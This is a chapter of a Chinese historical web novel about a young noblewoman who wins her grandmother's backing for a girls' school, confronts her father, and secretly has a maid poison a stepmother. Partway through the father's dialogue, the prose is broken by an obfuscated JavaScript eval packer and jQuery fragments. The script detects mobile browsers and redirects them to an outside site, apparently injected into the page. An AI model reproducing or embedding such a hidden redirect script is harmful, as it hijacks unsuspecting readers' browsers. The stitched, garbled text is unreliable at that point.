晨光熹微，秦月棠早早便醒了。她推开窗，秋风裹着桂香扑面而来，院中的梧桐叶已泛了黄，在朝阳下闪着金灿灿的光。


    "小姐，都准备好了。"翠云拎着大包小包走进来，脸上带着掩不住的笑意，"昨儿买的燕窝、人参，还有老太太最爱吃的蜜枣糕，一样不落。"


    秦月棠转身，晨光为她镀上一层柔和的轮廓。她今日穿了件藕荷色绣木槿花的袄裙，发间只簪了一支素银钗，看起来清爽又利落。


    "祖母最近气色确实好了不少。"她接过翠云手中的锦盒，指尖轻轻抚过盒面上精致的纹路，"方嬷嬷说，自打我常去陪她说话，她每顿能多用半碗饭呢。"


    翠云捂嘴轻笑："那今儿个老太太怕是要撑得走不动道了！"


    两人相视一笑，踏着晨露往寿安堂走去。穿过回廊时，几只麻雀扑棱棱从她们脚边飞过，惊落了枝头几滴未干的露水。


    ......


    寿安堂内，老太太正由方嬷嬷伺候着用早膳。青瓷碗里盛着熬得浓稠的小米粥，配着几样清爽小菜。老太太有一搭没一搭地搅着粥，眼睛却不住地往门口瞟。


    "老太太别急，"方嬷嬷笑着添了勺酱菜，"大小姐说了今儿来，定不会——"


    "祖母！"


    清脆的声音从门外传来，老太太手里的银匙"当啷"一声落在碗里。她抬头，就见秦月棠拎着裙摆跨过门槛，发梢还沾着外面的晨露，在阳光下闪闪发亮。


    "棠丫头！"老太太脸上的皱纹都舒展开来，忙不迭地招手，"快来，陪祖母用饭。"


    翠云将带来的补品交给方嬷嬷，轻车熟路地添了副碗筷。


    方嬷嬷一边收拾一边笑道："老太太昨儿夜里还说梦话呢，念叨着大小姐如今硬气了，再不会受人欺负。"


    秦月棠鼻子一酸。她挨着老太太坐下，亲昵地搂住老人家的手臂，像小时候那样蹭了蹭："祖母放心，现在的棠儿可厉害了。"她举起拳头晃了晃，"谁敢欺负我，我就揍谁！"


    "哎哟！"老太太被她逗得直乐，布满皱纹的手轻轻捏了捏她的鼻尖，"我家棠丫头真是长大了。"浑浊的眼里泛起欣慰的泪光，"好好好，祖母不担心了。快吃饭，粥要凉了。"


    秦月棠乖巧地点头，执起玉箸为老太太布菜。她记得祖母所有的喜好——爱吃的酱菜要多夹些，不喜的芫荽要仔细挑出，炖得软烂的肘子肉最合牙口。


    "你也吃。"老太太将最大的肉丸子夹到她碗里，"瞧你瘦的。"


    阳光透过雕花窗棂洒在饭桌上，将一老一少的身影映在青砖地上。方嬷嬷和翠云站在一旁，看着祖孙俩你一言我一语地斗嘴，忍不住相视而笑。


    花茶的雾气氤氲上升，在两人之间织成一道朦胧的纱。


    老太太的手指轻轻摩挲着青瓷杯沿，那上头绘着的缠枝莲纹已有些褪色——就像她这一生，再鲜艳的色彩也被岁月磨成了温润的旧物。


    "棠丫头，"老太太忽然开口，声音比茶雾还轻，"最近是不是有什么事啊？"


    秦月棠正捧着茶盏暖手，闻言狡黠地眨眨眼："有啊，还是大事呢。"她凑近祖母，发间银钗坠下的流苏轻轻晃动，"祖母猜猜？"


    "哎哟！"老太太作势要打她手背，枯瘦的手腕上翡翠镯子叮当作响，"你个小猢狲，倒逗起我来了！"


    "错了错了！"秦月棠连忙抓住祖母的手，像小时候那样晃着撒娇。老太太被她闹得绷不住脸，眼角皱纹里都漾出笑意："是不是跟那位许县主有关？"


    秦月棠夸张地瞪大眼睛："祖母莫不是会读心术？"


    茶盏轻轻磕在案几上。老太太望着孙女明亮的眼睛，忽然想起她五岁时偷穿大人衣裳的模样——也是这样昂着小脑袋，自以为瞒过了全世界。


    "说罢。"老太太拢了拢膝上的绒毯，"又闯什么祸了？"


    窗外的阳光忽然被云层遮住，室内暗了一瞬。秦月棠挺直脊背，手指无意识地抚过衣角。


    "祖母，我想办女子学堂。"


    七个字落地，寿安堂骤然寂静。方嬷嬷正要添茶的手停在半空，翠云猛地攥紧了衣角。老太太的茶盏歪倒在案几上，琥珀色的茶汤漫过木质纹理，像一条突然改道的溪流。


    "女子...学堂？"老太太的声音有些发颤。她活了六十余载，见过闺阁女子吟诗作画，见过官家小姐管家算账，却从未听说过女子能正大光明地走进学堂——更遑论是教寻常百姓家的女儿。


    秦月棠的指尖在膝头收紧。她早知道祖母会惊讶，却没想到老人家的手突然抖得这么厉害。


    "自古女子识字者，十不存一。"老太太慢慢地说，每个字都像从记忆深处挖出来的，"便是官宦之家，也多是请西席到府授课......"


    "所以她们永远走不出后院。"秦月棠突然打断，眼睛亮得惊人，"就像笼中雀，连翅膀长什么样都快忘了！"


    她猛地跪坐到祖母跟前，裙摆铺开如绽放的花。窗外云散日出，一束光恰巧照在她倔强扬起的脸上，连细小的绒毛都清晰可见。


    "孙女知道难。"她抬头，眼里燃着老太太从未见过的火，"可再难也得有人做这第一个撕开黑夜的傻子！"


    她的声音越来越急，像是要把压抑两世的愤懑都倾泻而出："那些被爹娘三斗米卖掉的女娃，那些被丈夫打得不敢出声的媳妇，那些连''和离''二字都不会写的可怜人...她们难道天生就该烂在泥里吗？"


    一只布满皱纹的手突然覆上她的脸颊。


    老太太不知何时已泪流满面，哽咽着，"傻孩子......祖母是怕你疼啊。"


    窗外一阵秋风掠过，卷着片枯叶粘在窗棂上。老太太望着那片颤抖的叶子，想起多年前那个雪夜——她偷偷练字的宣纸被丈夫扔进火盆，火舌舔舐墨迹的焦糊味，混着那句"女子无才便是德"的呵斥，烫穿了她的余生。


    她或许是幸运的，生在宦官人家，自小识得几个字，却一辈子无用武之地，最后却只能用来读丈夫的纳妾文书。


    秦月棠的眼泪终于落下来。她伏在祖母膝上，感受到老人颤抖的手正轻抚她的发髻，就像小时候哄她睡觉那样。


    "去做吧。"老太太突然说，声音轻却坚定，"缺银子就从祖母私库里拿，有人刁难就报秦家的名号。"她捧起孙女的脸，用拇指擦去那滴泪，"我的棠儿......"


    "要飞得比所有雀儿都高。"


    阳光彻底冲破云层，将相拥的祖孙俩笼罩在金色的光晕里。方嬷嬷抹着眼泪悄悄退出去，翠云红着眼眶将一块绣着木槿花的帕子塞到秦月棠手里。


    院墙外，几个小丫鬟正偷听着里面的动静。她们中最大的不过十四岁，最小的才十岁，此刻却都攥紧了扫帚和抹布，眼睛亮得像星星。


    ......


    寿安堂回来的路上，秦月棠的眼角还泛着红，嘴角却挂着掩不住的笑意。秋风拂过她的发梢，带走了最后一丝犹豫。祖母的支持像一剂强心针，让她再无后顾之忧。


    "小姐，不管有多难，我都会一直陪着你的！"翠云睫毛上还挂着泪珠，声音却坚定如铁。


    秦月棠伸手替她拭去泪水，指尖沾上了温热的湿意："好，我们一起，一定能......"


    "秦月棠！"


    一声暴喝如惊雷炸响。


    秦武身着绛紫色官袍，大步流星地朝她们走来。衣摆带起的风卷着尘土，那张与秦月棠有三分相似的脸上满是阴鸷。他这副气势汹汹的模样，瞬间将秦月棠拉回了童年——


    每一次秦月蘅搬弄是非后，每一次她被罚跪祠堂前，秦武都是这样带着怒火而来。


    翠云察觉到她的僵硬，担忧地轻唤："小姐......"


    "我没事。"秦月棠深吸一口气，指甲悄悄掐进掌心。疼痛让她清醒，现在的她，早已不是那个任人宰割的弱女子了。


    秦武已经冲到面前，官靴重重踏在青石板上："你干的好事！"


    "父亲。"秦月棠规规矩矩地行了一礼，腰背挺得笔直，"不知寻女儿有何事？"


    "你还装傻！"秦武抬手指着她的鼻子，官袍袖口甩出凌厉的弧度，"是不是向陛下请旨要办什么女子学堂？"


    原来是为了这事。


    秦月棠忽然笑了，笑意却不达眼底："女儿请旨办学堂，与父亲何干？"


    "与我无关？"秦武怒极反笑，"你身为侯府嫡女，不想着为家族求封赏，不为你弟弟谋前程，跑去开什么女子学堂？你是不是疯了！


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945324|176172||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    "


    秋风突然大作，吹乱了秦月棠额前的碎发。她直视着秦武暴怒的眼睛，一字一句道："这恩典是陛下许给我的。当日在御花园，胡泉以''灾星''之名要害我性命时，父亲可曾为女儿辩驳过一句？"


    她上前一步，绣鞋碾过一片枯叶，发出清脆的碎裂声："如今倒想来分我以性命博来的恩典——"


    "凭什么？"


    这三个字像刀子般捅进秦武心口。他竟被逼得后退了半步，官帽下的鬓角渗出冷汗。


    这个向来畏畏缩缩的女儿，何时有了这样的眼神？那目光锐利如剑，仿佛能刺穿他所有虚伪的借口。


    "为父......"秦武气势弱了几分，却仍强撑着道，"你身为秦家女，自当以家族为重。这样对你也有益处......"


    "益处？"秦月棠轻笑出声，"所谓的益处，无非是给弟弟求个官职，或是将来把我卖个好价钱吧？"


    "放肆！"


    秦武勃然大怒，抬手就要扇下。掌风带起的气流已经拂动了秦月棠的刘海，她却纹丝不动，甚至微微扬起脸：


    "打啊。"她盯着秦武悬在半空的手，"您又不是没打过。"


    那只手僵住了。


    阳光穿过云层，清晰地照出秦武手背上暴起的青筋，也照出秦月棠眼底的决绝。父女俩的影子在地上拉得很长，却再没有半分交融。


    "既然父亲无事，"秦月棠福身一礼，裙摆划过一道利落的弧线，"女儿告退。"


    她转身离去，背影挺直如青竹。翠云小跑着跟上，激动得声音都在发抖："小姐！您刚才太厉害了！"


    秋风卷着落叶追在她们身后，像一场无声的送别。秦武站在原地，突然发现——


    那个永远跪着接他巴掌的女儿，已经走得很远很远了。


    ......


    东厢房的窗棂半开着，秋风卷着桂香溜进来，拂过秦月棠手中的账册。她指尖蘸了朱砂，正勾画着几处要紧的开支，忽听院外传来一阵清脆的铃铛声——那是许清宴腰间玉佩的声响。


    "月棠！我来了！"


    人未至声先到。秦月棠唇角不自觉扬起，搁下毛笔起身相迎。才走到廊下，就见一道红影旋风般卷进院门。许清宴今日着了件石榴红的骑装，马尾高高束起，腰间别着把镶宝石的短剑，整个人鲜活得像是秋日里最耀眼的那抹霞光。


    "县主今日怎么——"


    话未说完，许清宴已经一个箭步冲上前，捧住她的脸："谁欺负你了？"拇指轻轻蹭过她微红的眼角，"告诉我，我这就去打断他的腿！"


    秦月棠心头一暖。许清宴的掌心有常年练剑留下的薄茧，粗糙却温暖。她拉下那双不安分的手，笑道："没人欺负我。是祖母......我把学堂的事告诉她了。"


    "她骂你了？"许清宴瞪圆眼睛。


    "她支持我。"


    许清宴愣了一瞬，随即大笑出声，一把抱住秦月棠转了个圈："我就知道！老太太年轻时可是名动京城的才女！"她兴奋地拉着秦月棠进屋，"我那别院已经收拾妥当了，咱们何时开课？"


    阳光透过窗纱，在两人交握的手上投下斑驳的光影。秦月棠沉吟道："不急。听闻陛下正为忻州水患忧心，咱们这事本就出挑，若此时张扬，恐有小人作梗。"


    "你说得对。"许清宴一拍桌案，震得茶盏叮当响，"那我先去添置些桌椅典籍。"她突然想起什么，猛地站起，"坏了！我跟人约了比剑！"


    话音未落，那道红影已经风风火火地冲出门去，险些撞翻端着茶点的翠云。


    "县主这性子......"翠云望着晃动的门帘，忍俊不禁，"比男子还跳脱。"


    秦月棠却望着那抹远去的红色，轻声道："她活得真鲜活。"


    不像自己，满心都是算计与仇恨。


    茶雾袅袅中，秦月棠忽然压低声音："那件事如何了？"


    翠云神色一凛，凑近耳语："小姐放心，药下在沈氏的日常饮食里，她毫无察觉。"


    秦月棠指尖抚过茶盏边缘，目光比冰还冷："我母亲受过的苦，我要让她加倍体验。"


    窗外，一片枯叶打着旋儿落下，恰好盖住了石缝里一株挣扎求生的野花。